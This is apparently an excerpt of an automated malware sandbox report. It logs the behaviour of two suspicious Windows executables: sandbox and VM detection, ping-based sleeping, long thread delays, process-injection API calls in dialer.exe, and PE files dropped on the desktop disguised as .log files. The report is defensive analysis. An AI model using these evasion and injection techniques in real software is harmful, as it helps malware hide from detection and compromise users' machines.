Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\System32\dialer.exe

Code function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,FindCloseChangeNotification,CloseHandle,

46_2_00000001400010C0

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost

Source: C:\PerfDll\hyperProviderSavesinto.exe	Memory allocated: EC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Memory allocated: 1ABB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Memory allocated: 1350000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Memory allocated: 1AEE0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Memory allocated: 2C10000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Memory allocated: 1AE00000 memory reserve \| memory write watch

Source: C:\PerfDll\hyperProviderSavesinto.exe

Code function: 8_2_00007FFD9BC493F1 sldt word ptr [eax]

8_2_00007FFD9BC493F1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 600000
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 599812
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 599425
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 599292
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 599094
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 598729
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 598234
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 598125
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 598012
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 597672
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 597546
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 597437
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 597273
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 597171
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 597056
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 596804
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 596662
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 596542
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 596434
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 596327
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 596218
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 596108
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 596000
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 595890
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 595781
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 595628
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 595515
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 595406
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 595296
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 595187
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 595077
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 594968
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 594859
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 594750
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 594638
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 594530
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 594421
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 594311
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 594203
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 594093
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 593984
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 593875
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 593765
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 593656
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 593465
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 593324
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 593216
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 593099
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 592979
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 592867
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 592762
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3989	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5804	Jump to behavior
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Window / User API: threadDelayed 3527
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Window / User API: threadDelayed 6318
Source: C:\Windows\System32\dialer.exe	Window / User API: threadDelayed 8408
Source: C:\Windows\System32\dialer.exe	Window / User API: threadDelayed 1449
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 2545
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 7455

Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\XVmuemSr.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\phOzxInG.log	Jump to dropped file
Source: C:\PerfDll\hyperProviderSavesinto.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\LugVktua.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\IkSFhrpY.log	Jump to dropped file
Source: C:\PerfDll\hyperProviderSavesinto.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\kEwbgeKe.log	Jump to dropped file
Source: C:\PerfDll\hyperProviderSavesinto.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\vsaRQqFM.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\KEMGRwnV.log	Jump to dropped file
